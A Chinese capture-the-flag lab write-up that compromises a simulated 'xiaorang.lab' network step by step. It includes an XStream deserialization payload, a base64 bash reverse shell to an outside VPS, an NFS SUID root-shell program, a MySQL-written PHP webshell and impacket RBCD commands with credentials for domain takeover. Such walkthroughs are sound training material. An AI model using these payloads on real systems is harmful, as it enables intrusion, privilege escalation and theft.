fscan先扫一下ip
存在一个ftp匿名登录
1.txt中没有东西 pom.xml中有一个xstream的低版本漏洞
https://github.com/vulhub/vulhub/blob/master/xstream/CVE-2021-29505/README.zh-cn.md
在你的vps上开放1099端口,然后用yso起一下服务:
1
| java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDIuMzkuMTEwLzMzODkgMD4mMQ}|{base64,-d}|{bash,-i}"
|
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| POST /just_sumbit_it HTTP/1.1 Host: 39.99.234.228:8080 Content-Length: 3115 Accept: application/xml, text/xml, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Content-Type: application/xml;charset=UTF-8 Origin: http://39.99.234.228:8080 Referer: http://39.99.234.228:8080/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
<java.util.PriorityQueue serialization='custom'> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> </default> <int>3</int> <javax.naming.ldap.Rdn_-RdnEntry> <type>12345</type> <value class='com.sun.org.apache.xpath.internal.objects.XString'> <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj> </value> </javax.naming.ldap.Rdn_-RdnEntry> <javax.naming.ldap.Rdn_-RdnEntry> <type>12345</type> <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'> <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'> <parsedMessage>true</parsedMessage> <soapVersion>SOAP_11</soapVersion> <bodyParts/> <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'> <attachmentsInitialized>false</attachmentsInitialized> <nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'> <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'> <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'> <names> <string>aa</string> <string>aa</string> </names> <ctx> <environment/> <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'> <java.rmi.server.RemoteObject> <string>UnicastRef</string> <string>101.42.39.110</string> <int>1099</int> <long>0</long> <int>0</int> <long>0</long> <short>0</short> <boolean>false</boolean> </java.rmi.server.RemoteObject> </registry> <host>101.42.39.110</host> <port>1099</port> </ctx> </candidates> </aliases> </nullIter> </sm> </message> </value> </javax.naming.ldap.Rdn_-RdnEntry> </java.util.PriorityQueue> </java.util.PriorityQueue>
|
然后监听端口就行
root权限直接拿flag
然后扫内网挂代理
整理信息
1 2 3 4 5 6 7
| 172.22.13.57 Centos 2049端口 NFS
172.22.13.6 DC XIAORANG\WIN-DC
172.22.13.28 WIN-HAUWOLAO.xiaorang.lab 8000 mysql:172.22.13.28:3306:root 123456 OA系统
172.22.13.14 getshell主机 拿下
|
这个NFS是关键 文件共享用的一个服务 默认端口2049
NFS 提权, 参考文章: https://xz.aliyun.com/t/11664
大致就是 NFS 配置不当导致文件权限也能被共享过去
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| //因为本身ubuntu是不存在showmount这个工具的 所以我们得下载 但是下载源不对 所以我们要进行更改 sudo sed -i 's/archive.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list sudo apt-get update apt-get install nfs-common -y
-----------------------------------------------------------------------------------------
showmount -e 172.22.13.57 //查看哪些路径下的文件可以被共享 Export list for 172.22.13.57: /home/joyce *
mount -t nfs 172.22.13.57:/home/joyce /tmp/joyce -o nolock
//进行挂载 我们就可以访问/home/joyce下的文件了
|
这里的话我们使用写ssh公钥的方式进行登录
1 2 3 4 5
| ssh-keygen -t rsa -b 4096 mkdir .ssh cat /root/.ssh/id_rsa.pub >> /tmp/joyce/.ssh/authorized_keys python3 -c 'import pty;pty.spawn("/bin/bash")' ssh -i /root/.ssh/id_rsa joyce@172.22.13.57
|
虽然flag在根目录下 但是我们并没有权限去读取他 这里的话有两个方法可以进行提权操作
这里能够提权的原因是 创建的文件共享过去的时候连着权限也一起传过去了
1 2 3 4 5 6 7
| echo '#include<unistd.h> void main() { setuid(0); setgid(0); system("bash"); }' > pwn.c
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| root@ubuntu:/tmp/joyce# echo '#include<unistd.h> void main() { setuid(0); setgid(0); system("bash"); }echo '#include<unistd.h> > void main() > { > setuid(0); > setgid(0); > system("bash"); > ' > pwn.c }' > pwn.c root@ubuntu:/tmp/joyce# dir dir pwn.c root@ubuntu:/tmp/joyce# ls ls pwn.c root@ubuntu:/tmp/joyce# cat pwn.c cat pwn.c #include<unistd.h> void main() { setuid(0); setgid(0); system("bash"); } root@ubuntu:/tmp/joyce# chmod -s pwn.c chmod -s pwn.c root@ubuntu:/tmp/joyce# gcc pwn.c -o pwn gcc pwn.c -o pwn pwn.c: In function ‘main’: pwn.c:6:9: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration] 6 | system("bash"); | ^~~~~~ root@ubuntu:/tmp/joyce# ls ls pwn pwn.c root@ubuntu:/tmp/joyce# gcc pwn.c -o pwn;;; gcc pwn.c -o pwn;;; bash: syntax error near unexpected token `;;' root@ubuntu:/tmp/joyce# chmod +s pwn chmod +s pwn root@ubuntu:/tmp/joyce# ls -al ls -al total 52 drwx------ 3 996 994 4096 Oct 20 21:03 . drwxrwxrwt 6 root root 4096 Oct 20 21:03 .. -rw------- 1 996 994 51 Oct 20 21:00 .bash_history -rw-r--r-- 1 996 994 18 Nov 25 2021 .bash_logout -rw-r--r-- 1 996 994 193 Nov 25 2021 .bash_profile -rw-r--r-- 1 996 994 231 Nov 25 2021 .bashrc drwxr-xr-x 2 root root 4096 Oct 20 20:57 .ssh -rwsr-sr-x 1 root root 16784 Oct 20 21:03 pwn -rw-r--r-- 1 root root 97 Oct 20 21:02 pwn.c
|
这里创建好之后
ssh登录到刚刚的主机上
执行之后就拿下flag了
如果用原来的ftp的话是不行的 这里的话我们重新新建一个ftp 新建的话是有suid的
1
| python3 -m pyftpdlib -p 6666 -u test -P test -w &
|
然后连接上去
1 2
| ftp 172.22.13.14 6666 put /flag02.txt
|
然后在Ubuntu的那个主机上再次连接然后get下载下来读取就行了
然后一样的方法读取centos机器的目录下还有一个pAss.txt文件
1 2 3
| xiaorang.lab/zhangwen\ QT62f3gBhK1
//给了一个账号密码
|
这就是两种不同的提权方法
NFS是利用这个共享文件时权限也会共享过去
ftp是利用了suid这个权限
接下来直接搭建隧道
这里拿下第二个flag之后 回看之前的信息收集 发现了一个弱口令的mysql
于是我们使用navicat来连接 mdut的话是udf提权失败
发现是任意路径可写 并且是以phpstudy启动的 于是直接写马
1
| select "<?php eval($_POST[1]);?>" into outfile "C:/phpstudy_pro/WWW/1.php";
|
然后蚁剑连接
因为是phpstudy启动的 权限高 所以可以直接读取
这个是我们刚刚获取到的用户名了 我们直接rdp上去运行sharphound.exe来看一下域内环境
(当然了 蚁剑上传文件查看也是可以的)
发现域中的chenglei用户是对这个域控有wirte写的权限 并且还是属于ACL admins组的
那么可以直接写 DCSync / RBCD / Shadow Credentials
这里测试了Shadow Credentials
失败 不知道为啥…………………………………..
因为之前是用过了DCSync了 这次我们就用RBCD来打
addcomputer
1
| proxychains addcomputer.py xiaorang.lab/chenglei:'Xt61f3LBhg1' -dc-ip 172.22.13.6 -dc-host xiaorang.lab -computer-name 'TEST$' -computer-pass 'P@ssw0rd'
|
rbcd
1
| proxychains rbcd.py xiaorang.lab/chenglei:'Xt61f3LBhg1' -dc-ip 172.22.13.6 -action write -delegate-to 'WIN-DC$' -delegate-from 'TEST$'
|
getst
1
| proxychains getST.py xiaorang.lab/'TEST$':'P@ssw0rd' -spn cifs/WIN-DC.xiaorang.lab -impersonate Administrator -dc-ip 172.22.13.6
|
获取到这个ccache文件后
1 2 3 4 5 6
| export KRB5CCNAME=Administrator.ccache
然后修改/etc/hosts 172.22.13.6 WIN-DC.xiaorang.lab 加进去就行
|
然后使用psexec.py无密码登录
1
| proxychains python3 psexec.py Administrator@WIN-DC.xiaorang.lab -k -no-pass -dc-ip 172.22.13.6
|
然后拿下最后一个flag